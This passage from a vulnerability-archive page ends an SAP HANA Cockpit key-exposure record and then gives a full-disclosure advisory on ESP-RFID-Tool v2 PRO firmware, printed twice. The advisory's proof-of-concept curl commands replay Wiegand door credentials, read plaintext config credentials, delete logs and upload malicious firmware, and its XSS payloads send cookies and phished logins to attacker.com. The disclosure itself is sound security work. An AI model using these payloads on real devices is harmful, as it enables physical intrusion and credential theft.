patched version, no mention of SAP Security\n Note or CVE.\n2026-02-12: Reminding vendor of importance of notifying affected customers due to\n required certificate rotation.\n2026-02-25: Contacting MITRE regarding CVE assignment dispute.\n2026-02-27: Vendor agrees to issuing SAP Security Note and asks to wait with public disclosure.\n2026-04-14: SAP Security Note 3730639 (CVE-2026-34262) is published by the vendor.\n2026-04-15: Public release of advisory\n\n\nSolution:\n---------\nAccording to SAP, the vulnerability was fixed in SAP HANA Cockpit version 2.18.2 (HRTT version 2.16.254002).\nFor information on the available patch, please see SAP Security Note 3730639 (https://me.sap.com/notes/3730639).\n\nHowever, this does not completely mitigate the risk that the private keys were\nobtained by an attacker in the past. Therefore, SEC Consult strongly recommends\nrotating the affected X.509 certificates and corresponding private keys -\neven if this is currently not mentioned in the SAP Security Note.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Ben Samtleben, Bernd Kaufmann / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T08:13:43Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/16"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Apr/16"
},
{
"url": "https://blog.sec-consult.com"
},
{
"url": "https://help.sap.com/docs/SAP_HANA_COCKPIT/df02d156db744412ad1f9e887aba68ad/ab5d442cc8a340fea07c15ef6f8eb537.html"
},
{
"url": "https://me.sap.com/notes/3730639"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://sec-consult.com/career/"
},
{
"url": "https://sec-consult.com/contact/"
},
{
"url": "https://sec-consult.com/vulnerability-lab/"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.sap.com/"
},
{
"url": "https://www.sap.com/about/what-is-sap.html"
},
{
"url": "https://www.sec-consult.com"
},
{
"url": "https://x.com/sec_consult"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Apr/16"
],
"discovery": "EXTERNAL"
},
"title": "SEC Consult SA-20260415-0 :: Exposed Private Key of X.509 Certificate in SAP HANA Cockpit \u0026 SAP HANA Database Explorer",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-34262",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0275",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/16",
"automated": true,
"contentSha256": "6f655d6928dcb34aeba6f04fef53749b3510306845eac1066e4290c98b8b47c7",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/16",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-04-15T09:25:38Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0275"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T08:13:43Z",
"dateUpdated": "2026-09-08T08:13:43Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0275"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0272
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
ESP-RFID-Tool v2 PRO — Full Public Disclosure
Summary
# Security Advisory: ESP-RFID-Tool v2 PRO
**Product:** ESP-RFID-Tool v2 PRO
**Vendor:** Raik Schneider (Einstein2150), foto-video-it.de
**Repository:** https://github.com/Einstein2150/ESP-RFID-Tool-v2
**Affected Version:** v2.2.1 (latest as of 2026-04-28)
**Severity:** CRITICAL
**Disclosure Type:** Full Public Disclosure
**Disclosure Date:** 2026-04-28
**Researcher:** Milan 't4c' Berger
---
## Disclosure Timeline
| Date | Event |
|------|-------|
| 2026-04-26 | Vulnerabilities discovered during code review |
| 2026-04-27 | Researcher posted responsible disclosure comment on his
advertisement on Youtube (GitHub issues disabled by vendor) |
| 2026-04-28 | Vendor deleted the disclosure comment without response |
| 2026-04-28 | Researcher posted responsible disclosure comment again on
his advertisement on Youtube (GitHub issues disabled by vendor) |
| 2026-04-28 | Vendor deleted the disclosure comment without response |
| 2026-04-28 | Researcher attempted contact via additional social media
channels |
| 2026-04-28 | Vendor blocked researcher on all contacted channels; no
acknowledgment given |
| 2026-04-28 | Full public disclosure — 48h contact window exhausted,
vendor uncooperative |
---
## Summary
The ESP-RFID-Tool v2 PRO is a commercial hardware/firmware product sold by
Raik Schneider targeting security researchers and red team operators. It is
based on an ESP8266 microcontroller and provides a web interface for
logging, replaying, and analyzing Wiegand RFID data from physical access
control systems.
Multiple critical security vulnerabilities were identified in firmware
v2.2.1. The most severe findings allow any unauthenticated attacker with
network access to: replay captured RFID credentials against physical door
locks, read the complete device configuration including plaintext
passwords, and permanently destroy all captured evidence — all without
authentication.
Note: A full practical verification of all exploits involving physical
signal transmission could not be performed as no Wiegand access terminal
was available during testing.
The vendor was notified through all available channels. All notifications
were deleted, and the researcher was blocked. Full disclosure follows.
---
## Vulnerability Summary
| ID | Severity | Title |
|----|----------|-------|
| ESPR-01 | **CRITICAL** | Unauthenticated Wiegand TX — Physical Access
Control Bypass |
| ESPR-02 | **MEDIUM** | Log Deletion via Default Credentials (Auth
present, but trivially bypassed) |
| ESPR-03 | **CRITICAL** | Path Traversal — Arbitrary SPIFFS File Read |
| ESPR-04 | **HIGH** | Reflected Cross-Site Scripting (XSS) |
| ESPR-05 | **HIGH** | Stored XSS via Log Injection |
| ESPR-06 | **HIGH** | Hardcoded Default Credentials |
| ESPR-07 | **HIGH** | Unauthenticated Log View + Filesystem Enumeration |
| ESPR-08 | **MEDIUM** | No CSRF Protection — Entire Application |
| ESPR-09 | **MEDIUM** | Plaintext FTP Server |
| ESPR-10 | **MEDIUM** | Missing Security Response Headers |
| ESPR-11 | **MEDIUM** | No Input Validation on Integer Parameters |
| ESPR-12 | **LOW** | Predictable AP SSID — Device Fingerprinting |
| ESPR-13 | **INFO** | Captive Portal Mode Widens Attack Surface |
---
## Detailed Findings
---
### ESPR-01 — Unauthenticated Wiegand TX: Physical Access Control Bypass
**Severity:** CRITICAL
**File:** `api_server.cpp`
**Endpoints:** `/api/tx/bin`, `/api/txinstant/bin`, `/api/wiegandencode`
**Description:**
All Wiegand transmission API endpoints execute hardware TX operations
without any authentication check. Any attacker on the same network can
replay arbitrary Wiegand bitstreams to downstream access control hardware —
unlocking physical doors, gates, or secured areas — with a single
unauthenticated HTTP GET request.
**Vulnerable Code:**
```cpp
server.on("/api/tx/bin", []() {
// ...
// No server.authenticate() call
apiTX(api_binary, api_pulsewidth, api_datainterval, api_wait);
});
```
**Proof of Concept:**
```bash
# Replay a captured 26-bit HID card to open a door
curl "
http://192.168.1.1/api/tx/bin?binary=01001100110101010110101001&pulsewidth=40&interval=2000
"
# Re-encode a known UID and transmit
curl "http://192.168.1.1/api/wiegandencode?uid=DEADBEEF&format=26";
# Instant transmission (no response wait)
curl "http://192.168.1.1/api/txinstant/bin?binary=01001100110101010110101001
"
```
**Impact:**
Physical security bypass. An attacker who previously captured a card UID
(e.g. via ESPR-07) can immediately replay it to open the corresponding door
— all from an unauthenticated HTTP request. This completely undermines the
device's operational security model.
---
### ESPR-02 — Log Deletion via Default Credentials
**Severity:** MEDIUM
**File:** `esprfidtool.ino`
**Endpoints:** `/deletelog`, `/deletelog/yes`
**Description:**
`/deletelog/yes` requires HTTP Basic Authentication. However, the default
credentials (`admin:rfidtool`) are hardcoded and publicly known via the
open-source repository. Combined with ESPR-06, any attacker with knowledge
of the default credentials can permanently delete all captured RFID logs.
`/deletelog` (the confirmation page) has **no authentication**, which also
makes it a direct XSS vector (see ESPR-04).
**Note:** Live testing confirmed `/deletelog/yes` returns HTTP 401 without
credentials. This finding was initially rated CRITICAL based on static code
analysis of an earlier version; auth is present in the tested build.
**Vulnerable Code:**
```cpp
server.on("/deletelog/yes", [](){
if(!server.authenticate(update_username, update_password))
return server.requestAuthentication();
// Auth present — but default credentials are public (admin:rfidtool)
SPIFFS.remove(deletelog);
});
```
**Proof of Concept:**
```bash
# Delete log using publicly known default credentials
curl -u admin:rfidtool "http://192.168.1.1/deletelog/yes?payload=/log.txt";
```
**Impact:**
Any attacker who knows the default credentials (publicly available) can
permanently destroy all captured evidence. Severity is driven by ESPR-06
(hardcoded defaults) — fixing one without the other provides no real
protection.
---
### ESPR-03 — Path Traversal: Arbitrary SPIFFS File Read
**Severity:** CRITICAL
**File:** `esprfidtool.ino` — `ViewLog()`
**Description:**
The `payload` parameter is passed directly to `SPIFFS.open()` without any
path validation or sanitization. An unauthenticated attacker can read any
file stored in the device's SPIFFS filesystem, including configuration
files containing plaintext credentials.
**Vulnerable Code:**
```cpp
void ViewLog(){
String payload;
payload += server.arg(0); // raw URL arg, no sanitization
File f = SPIFFS.open(payload, "r");
// outputs file content directly to browser
}
```
**Proof of Concept:**
```bash
# Note: server.arg(0) reads the FIRST URL argument by position, not by name.
# The correct syntax is ?<filename>, not ?payload=<filename>
# Read device configuration (contains credentials in plaintext)
curl "http://192.168.1.1/viewlog?/esprfidtool.json";
# Read log files (enumerate first via /api/listlogs)
curl "http://192.168.1.1/viewlog?/log.txt";
# List all available filenames first
curl "http://192.168.1.1/api/listlogs";
```
**Note:** The endpoint only returns content if the file exists on SPIFFS.
The config file `/esprfidtool.json` is filtered from `ListLogs()` output
but is NOT
filtered in `ViewLog()`, making it directly readable via this endpoint.
**Example Response:**
```json
{
"ssid": "HomeNetwork",
"password": "mysecretwifi",
"update_username": "admin",
"update_password": "rfidtool",
"ftp_username": "ftp-admin",
"ftp_password": "rfidtool"
}
```
**Impact:**
Full information disclosure. WiFi credentials, admin passwords, FTP
credentials, and all captured RFID card data (UIDs, bitstreams) are exposed
to any unauthenticated attacker.
---
### ESPR-04 — Reflected Cross-Site Scripting (XSS)
**Severity:** HIGH
**File:** `esprfidtool.ino` — `DeleteLog()`
**Endpoint:** `GET /deletelog`
**Description:**
The `payload` URL parameter is reflected directly into the HTML response
body without sanitization or HTML encoding. An attacker can inject
arbitrary JavaScript that executes in the victim's browser.
**Vulnerable Code:**
```cpp
// server.arg("payload") embedded directly into HTML — no htmlEncode()
server.send(200, "text/html", "... Deleting: " + payload + " ...");
```
**Proof of Concept:**
```
# Basic alert PoC
http://192.168.1.1/deletelog?payload=<script>alert('Sag Danke')</script>
# Cookie exfiltration
http://192.168.1.1/deletelog?payload=<script>document.location='
http://attacker.com/?c='+document.cookie
<http://attacker.com/?c=%27+document.cookie></script>
# Credential phishing overlay (effective in captive portal context)
http://192.168.1.1/deletelog?payload=<script>document.body.innerHTML='<form
action="http://attacker.com/steal";><input name="u"
placeholder="Username"><input name="p" type="password"
placeholder="Password"><input type="submit"></form>'</script>
```
**Impact:**
Session hijacking, credential theft, UI redressing. Severity is elevated
because the device operates as a captive portal — victims auto-connect and
are served the attacker-controlled page.
---
### ESPR-05 — Stored XSS via Log Injection
**Severity:** HIGH
**File:** `esprfidtool.ino` (log write path)
**Description:**
Log entries are written to SPIFFS containing raw data including HTML
markup. When logs are rendered via `ViewLog()` or `ListLogs()` without
output encoding, an attacker who can inject HTML/JavaScript into a log
entry achieves persistent stored XSS. This can be triggered by sending a
crafted Wiegand signal or via the unauthenticated TX API.
**Proof of Concept:**
```bash
# Inject XSS payload via unauthenticated TX endpoint
# Craft a bitstream that results in a log entry containing script tags
# The exact binary depends on how the logging function serializes data,
# but the vector is confirmed by the absence of HTML encoding on log output.
# After injection, any admin viewing logs triggers the payload:
curl "http://192.168.1.1/viewlog?payload=/log.txt";
# -> <script>...</script> executes in admin browser
```
**Impact:**
Persistent XSS. Any administrator viewing the log file executes
attacker-controlled JavaScript. Can be used to steal credentials or pivot
to further attacks.
---
### ESPR-06 — Hardcoded Default Credentials
**Severity:** HIGH
**File:** `esprfidtool.ino` — `loadDefaults()`
**Description:**
Default credentials are hardcoded and publicly known via the open-source
repository. No forced credential change on first boot.
| Service | Username | Password |
|---------|----------|----------|
| Web Interface / OTA Update | `admin` | `rfidtool` |
| FTP Server | `ftp-admin` | `rfidtool` |
| WiFi AP SSID | `ESP-RFID-Tool` | *(none by default)* |
**Proof of Concept:**
```bash
# Authenticated firmware update with known default credentials
curl -u admin:rfidtool "http://192.168.1.1:1337/update"; -F
"image=@malicious.bin"
# FTP login
ftp 192.168.1.1
# Login: ftp-admin / rfidtool
```
**Impact:**
Trivial full authentication bypass for all credential-protected endpoints.
Anyone familiar with the product has immediate access.
---
### ESPR-07 — Unauthenticated Log View + Filesystem Enumeration
**Severity:** HIGH
**File:** `esprfidtool.ino`
**Endpoints:** `/viewlog`, `/listlogs`, `/api/listlogs`, `/api/info`,
`/api/lastread`
**Description:**
All log viewing and filesystem enumeration endpoints require no
authentication. The `/api/lastread` endpoint additionally exposes the last
captured card in real time.
**Proof of Concept:**
```bash
# Enumerate all files on device
curl "http://192.168.1.1/api/listlogs";
# Read captured card data
curl "http://192.168.1.1/api/lastread";
# Response:
{"bits":26,"bitstream":"01001100...","uid":"0A1B2C3D","format":"HID26"}
# Get device info (firmware version, free space)
curl "http://192.168.1.1/api/info";
```
**Impact:**
Complete exfiltration of all captured RFID card data
Severity
No CVSS data available.
Assigner
References
21 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | ESP-RFID-Tool v2 PRO |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "ESP-RFID-Tool v2 PRO",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Milan Berger via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "# Security Advisory: ESP-RFID-Tool v2 PRO\n\n**Product:** ESP-RFID-Tool v2 PRO\n**Vendor:** Raik Schneider (Einstein2150), foto-video-it.de\n**Repository:** https://github.com/Einstein2150/ESP-RFID-Tool-v2\n**Affected Version:** v2.2.1 (latest as of 2026-04-28)\n**Severity:** CRITICAL\n**Disclosure Type:** Full Public Disclosure\n**Disclosure Date:** 2026-04-28\n**Researcher:** Milan \u0027t4c\u0027 Berger\n\n---\n\n## Disclosure Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-04-26 | Vulnerabilities discovered during code review |\n| 2026-04-27 | Researcher posted responsible disclosure comment on his\nadvertisement on Youtube (GitHub issues disabled by vendor) |\n| 2026-04-28 | Vendor deleted the disclosure comment without response |\n| 2026-04-28 | Researcher posted responsible disclosure comment again on\nhis advertisement on Youtube (GitHub issues disabled by vendor) |\n| 2026-04-28 | Vendor deleted the disclosure comment without response |\n| 2026-04-28 | Researcher attempted contact via additional social media\nchannels |\n| 2026-04-28 | Vendor blocked researcher on all contacted channels; no\nacknowledgment given |\n| 2026-04-28 | Full public disclosure \u2014 48h contact window exhausted,\nvendor uncooperative |\n\n---\n\n## Summary\n\nThe ESP-RFID-Tool v2 PRO is a commercial hardware/firmware product sold by\nRaik Schneider targeting security researchers and red team operators. It is\nbased on an ESP8266 microcontroller and provides a web interface for\nlogging, replaying, and analyzing Wiegand RFID data from physical access\ncontrol systems.\n\nMultiple critical security vulnerabilities were identified in firmware\nv2.2.1. The most severe findings allow any unauthenticated attacker with\nnetwork access to: replay captured RFID credentials against physical door\nlocks, read the complete device configuration including plaintext\npasswords, and permanently destroy all captured evidence \u2014 all without\nauthentication.\n\nNote: A full practical verification of all exploits involving physical\nsignal transmission could not be performed as no Wiegand access terminal\nwas available during testing.\n\nThe vendor was notified through all available channels. All notifications\nwere deleted, and the researcher was blocked. Full disclosure follows.\n\n---\n\n## Vulnerability Summary\n\n| ID | Severity | Title |\n|----|----------|-------|\n| ESPR-01 | **CRITICAL** | Unauthenticated Wiegand TX \u2014 Physical Access\nControl Bypass |\n| ESPR-02 | **MEDIUM** | Log Deletion via Default Credentials (Auth\npresent, but trivially bypassed) |\n| ESPR-03 | **CRITICAL** | Path Traversal \u2014 Arbitrary SPIFFS File Read |\n| ESPR-04 | **HIGH** | Reflected Cross-Site Scripting (XSS) |\n| ESPR-05 | **HIGH** | Stored XSS via Log Injection |\n| ESPR-06 | **HIGH** | Hardcoded Default Credentials |\n| ESPR-07 | **HIGH** | Unauthenticated Log View + Filesystem Enumeration |\n| ESPR-08 | **MEDIUM** | No CSRF Protection \u2014 Entire Application |\n| ESPR-09 | **MEDIUM** | Plaintext FTP Server |\n| ESPR-10 | **MEDIUM** | Missing Security Response Headers |\n| ESPR-11 | **MEDIUM** | No Input Validation on Integer Parameters |\n| ESPR-12 | **LOW** | Predictable AP SSID \u2014 Device Fingerprinting |\n| ESPR-13 | **INFO** | Captive Portal Mode Widens Attack Surface |\n\n---\n\n## Detailed Findings\n\n---\n\n### ESPR-01 \u2014 Unauthenticated Wiegand TX: Physical Access Control Bypass\n\n**Severity:** CRITICAL\n**File:** `api_server.cpp`\n**Endpoints:** `/api/tx/bin`, `/api/txinstant/bin`, `/api/wiegandencode`\n\n**Description:**\nAll Wiegand transmission API endpoints execute hardware TX operations\nwithout any authentication check. Any attacker on the same network can\nreplay arbitrary Wiegand bitstreams to downstream access control hardware \u2014\nunlocking physical doors, gates, or secured areas \u2014 with a single\nunauthenticated HTTP GET request.\n\n**Vulnerable Code:**\n```cpp\nserver.on(\"/api/tx/bin\", []() {\n // ...\n // No server.authenticate() call\n apiTX(api_binary, api_pulsewidth, api_datainterval, api_wait);\n});\n```\n\n**Proof of Concept:**\n```bash\n# Replay a captured 26-bit HID card to open a door\ncurl \"\nhttp://192.168.1.1/api/tx/bin?binary=01001100110101010110101001\u0026pulsewidth=40\u0026interval=2000\n\"\n\n# Re-encode a known UID and transmit\ncurl \"http://192.168.1.1/api/wiegandencode?uid=DEADBEEF\u0026format=26\";\n\n# Instant transmission (no response wait)\ncurl \"http://192.168.1.1/api/txinstant/bin?binary=01001100110101010110101001\n\"\n```\n\n**Impact:**\nPhysical security bypass. An attacker who previously captured a card UID\n(e.g. via ESPR-07) can immediately replay it to open the corresponding door\n\u2014 all from an unauthenticated HTTP request. This completely undermines the\ndevice\u0027s operational security model.\n\n---\n\n### ESPR-02 \u2014 Log Deletion via Default Credentials\n\n**Severity:** MEDIUM\n**File:** `esprfidtool.ino`\n**Endpoints:** `/deletelog`, `/deletelog/yes`\n\n**Description:**\n`/deletelog/yes` requires HTTP Basic Authentication. However, the default\ncredentials (`admin:rfidtool`) are hardcoded and publicly known via the\nopen-source repository. Combined with ESPR-06, any attacker with knowledge\nof the default credentials can permanently delete all captured RFID logs.\n`/deletelog` (the confirmation page) has **no authentication**, which also\nmakes it a direct XSS vector (see ESPR-04).\n\n**Note:** Live testing confirmed `/deletelog/yes` returns HTTP 401 without\ncredentials. This finding was initially rated CRITICAL based on static code\nanalysis of an earlier version; auth is present in the tested build.\n\n**Vulnerable Code:**\n```cpp\nserver.on(\"/deletelog/yes\", [](){\n if(!server.authenticate(update_username, update_password))\n return server.requestAuthentication();\n // Auth present \u2014 but default credentials are public (admin:rfidtool)\n SPIFFS.remove(deletelog);\n});\n```\n\n**Proof of Concept:**\n```bash\n# Delete log using publicly known default credentials\ncurl -u admin:rfidtool \"http://192.168.1.1/deletelog/yes?payload=/log.txt\";\n```\n\n**Impact:**\nAny attacker who knows the default credentials (publicly available) can\npermanently destroy all captured evidence. Severity is driven by ESPR-06\n(hardcoded defaults) \u2014 fixing one without the other provides no real\nprotection.\n\n---\n\n### ESPR-03 \u2014 Path Traversal: Arbitrary SPIFFS File Read\n\n**Severity:** CRITICAL\n**File:** `esprfidtool.ino` \u2014 `ViewLog()`\n\n**Description:**\nThe `payload` parameter is passed directly to `SPIFFS.open()` without any\npath validation or sanitization. An unauthenticated attacker can read any\nfile stored in the device\u0027s SPIFFS filesystem, including configuration\nfiles containing plaintext credentials.\n\n**Vulnerable Code:**\n```cpp\nvoid ViewLog(){\n String payload;\n payload += server.arg(0); // raw URL arg, no sanitization\n File f = SPIFFS.open(payload, \"r\");\n // outputs file content directly to browser\n}\n```\n\n**Proof of Concept:**\n```bash\n# Note: server.arg(0) reads the FIRST URL argument by position, not by name.\n# The correct syntax is ?\u003cfilename\u003e, not ?payload=\u003cfilename\u003e\n\n# Read device configuration (contains credentials in plaintext)\ncurl \"http://192.168.1.1/viewlog?/esprfidtool.json\";\n\n# Read log files (enumerate first via /api/listlogs)\ncurl \"http://192.168.1.1/viewlog?/log.txt\";\n\n# List all available filenames first\ncurl \"http://192.168.1.1/api/listlogs\";\n```\n\n**Note:** The endpoint only returns content if the file exists on SPIFFS.\nThe config file `/esprfidtool.json` is filtered from `ListLogs()` output\nbut is NOT\nfiltered in `ViewLog()`, making it directly readable via this endpoint.\n\n**Example Response:**\n```json\n{\n \"ssid\": \"HomeNetwork\",\n \"password\": \"mysecretwifi\",\n \"update_username\": \"admin\",\n \"update_password\": \"rfidtool\",\n \"ftp_username\": \"ftp-admin\",\n \"ftp_password\": \"rfidtool\"\n}\n```\n\n**Impact:**\nFull information disclosure. WiFi credentials, admin passwords, FTP\ncredentials, and all captured RFID card data (UIDs, bitstreams) are exposed\nto any unauthenticated attacker.\n\n---\n\n### ESPR-04 \u2014 Reflected Cross-Site Scripting (XSS)\n\n**Severity:** HIGH\n**File:** `esprfidtool.ino` \u2014 `DeleteLog()`\n**Endpoint:** `GET /deletelog`\n\n**Description:**\nThe `payload` URL parameter is reflected directly into the HTML response\nbody without sanitization or HTML encoding. An attacker can inject\narbitrary JavaScript that executes in the victim\u0027s browser.\n\n**Vulnerable Code:**\n```cpp\n// server.arg(\"payload\") embedded directly into HTML \u2014 no htmlEncode()\nserver.send(200, \"text/html\", \"... Deleting: \" + payload + \" ...\");\n```\n\n**Proof of Concept:**\n```\n# Basic alert PoC\nhttp://192.168.1.1/deletelog?payload=\u003cscript\u003ealert(\u0027Sag Danke\u0027)\u003c/script\u003e\n\n# Cookie exfiltration\nhttp://192.168.1.1/deletelog?payload=\u003cscript\u003edocument.location=\u0027\nhttp://attacker.com/?c=\u0027+document.cookie\n\u003chttp://attacker.com/?c=%27+document.cookie\u003e\u003c/script\u003e\n\n# Credential phishing overlay (effective in captive portal context)\nhttp://192.168.1.1/deletelog?payload=\u003cscript\u003edocument.body.innerHTML=\u0027\u003cform\naction=\"http://attacker.com/steal\";\u003e\u003cinput name=\"u\"\nplaceholder=\"Username\"\u003e\u003cinput name=\"p\" type=\"password\"\nplaceholder=\"Password\"\u003e\u003cinput type=\"submit\"\u003e\u003c/form\u003e\u0027\u003c/script\u003e\n```\n\n**Impact:**\nSession hijacking, credential theft, UI redressing. Severity is elevated\nbecause the device operates as a captive portal \u2014 victims auto-connect and\nare served the attacker-controlled page.\n\n---\n\n### ESPR-05 \u2014 Stored XSS via Log Injection\n\n**Severity:** HIGH\n**File:** `esprfidtool.ino` (log write path)\n\n**Description:**\nLog entries are written to SPIFFS containing raw data including HTML\nmarkup. When logs are rendered via `ViewLog()` or `ListLogs()` without\noutput encoding, an attacker who can inject HTML/JavaScript into a log\nentry achieves persistent stored XSS. This can be triggered by sending a\ncrafted Wiegand signal or via the unauthenticated TX API.\n\n**Proof of Concept:**\n```bash\n# Inject XSS payload via unauthenticated TX endpoint\n# Craft a bitstream that results in a log entry containing script tags\n# The exact binary depends on how the logging function serializes data,\n# but the vector is confirmed by the absence of HTML encoding on log output.\n\n# After injection, any admin viewing logs triggers the payload:\ncurl \"http://192.168.1.1/viewlog?payload=/log.txt\";\n# -\u003e \u003cscript\u003e...\u003c/script\u003e executes in admin browser\n```\n\n**Impact:**\nPersistent XSS. Any administrator viewing the log file executes\nattacker-controlled JavaScript. Can be used to steal credentials or pivot\nto further attacks.\n\n---\n\n### ESPR-06 \u2014 Hardcoded Default Credentials\n\n**Severity:** HIGH\n**File:** `esprfidtool.ino` \u2014 `loadDefaults()`\n\n**Description:**\nDefault credentials are hardcoded and publicly known via the open-source\nrepository. No forced credential change on first boot.\n\n| Service | Username | Password |\n|---------|----------|----------|\n| Web Interface / OTA Update | `admin` | `rfidtool` |\n| FTP Server | `ftp-admin` | `rfidtool` |\n| WiFi AP SSID | `ESP-RFID-Tool` | *(none by default)* |\n\n**Proof of Concept:**\n```bash\n# Authenticated firmware update with known default credentials\ncurl -u admin:rfidtool \"http://192.168.1.1:1337/update\"; -F\n\"image=@malicious.bin\"\n\n# FTP login\nftp 192.168.1.1\n# Login: ftp-admin / rfidtool\n```\n\n**Impact:**\nTrivial full authentication bypass for all credential-protected endpoints.\nAnyone familiar with the product has immediate access.\n\n---\n\n### ESPR-07 \u2014 Unauthenticated Log View + Filesystem Enumeration\n\n**Severity:** HIGH\n**File:** `esprfidtool.ino`\n**Endpoints:** `/viewlog`, `/listlogs`, `/api/listlogs`, `/api/info`,\n`/api/lastread`\n\n**Description:**\nAll log viewing and filesystem enumeration endpoints require no\nauthentication. The `/api/lastread` endpoint additionally exposes the last\ncaptured card in real time.\n\n**Proof of Concept:**\n```bash\n# Enumerate all files on device\ncurl \"http://192.168.1.1/api/listlogs\";\n\n# Read captured card data\ncurl \"http://192.168.1.1/api/lastread\";\n# Response:\n{\"bits\":26,\"bitstream\":\"01001100...\",\"uid\":\"0A1B2C3D\",\"format\":\"HID26\"}\n\n# Get device info (firmware version, free space)\ncurl \"http://192.168.1.1/api/info\";\n```\n\n**Impact:**\nComplete exfiltration of all captured RFID card data "
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T08:13:43Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/18"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Apr/18"
},
{
"url": "http://192.168.1.1/api/info\""
},
{
"url": "http://192.168.1.1/api/lastread\""
},
{
"url": "http://192.168.1.1/api/listlogs\""
},
{
"url": "http://192.168.1.1/api/tx/bin?binary=01001100110101010110101001\u0026pulsewidth=40\u0026interval=2000"
},
{
"url": "http://192.168.1.1/api/tx/bin?binary=01001100110101010110101001\u0026pulsewidth=40\u0026interval=2000\""
},
{
"url": "http://192.168.1.1/api/txinstant/bin?binary=01001100110101010110101001"
},
{
"url": "http://192.168.1.1/api/wiegandencode?uid=DEADBEEF\u0026format=26\""
},
{
"url": "http://192.168.1.1/deletelog/yes?payload=/log.txt\""
},
{
"url": "http://192.168.1.1/deletelog?payload="
},
{
"url": "http://192.168.1.1/viewlog?/esprfidtool.json\""
},
{
"url": "http://192.168.1.1/viewlog?/log.txt\""
},
{
"url": "http://192.168.1.1/viewlog?payload=/log.txt\""
},
{
"url": "http://192.168.1.1:1337/update\""
},
{
"url": "http://attacker.com/?c=%27+document.cookie"
},
{
"url": "http://attacker.com/?c=\u0027+document.cookie"
},
{
"url": "http://attacker.com/steal\""
},
{
"url": "https://github.com/Einstein2150/ESP-RFID-Tool-v2"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Apr/18"
],
"discovery": "EXTERNAL"
},
"title": "ESP-RFID-Tool v2 PRO \u2014 Full Public Disclosure",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0272",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/18",
"automated": true,
"contentSha256": "ab11a2b4096195e0c060316686e7fe713a92f2e11cf22ec1f7caf0b3374e9401",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/18",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-04-28T18:08:50Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
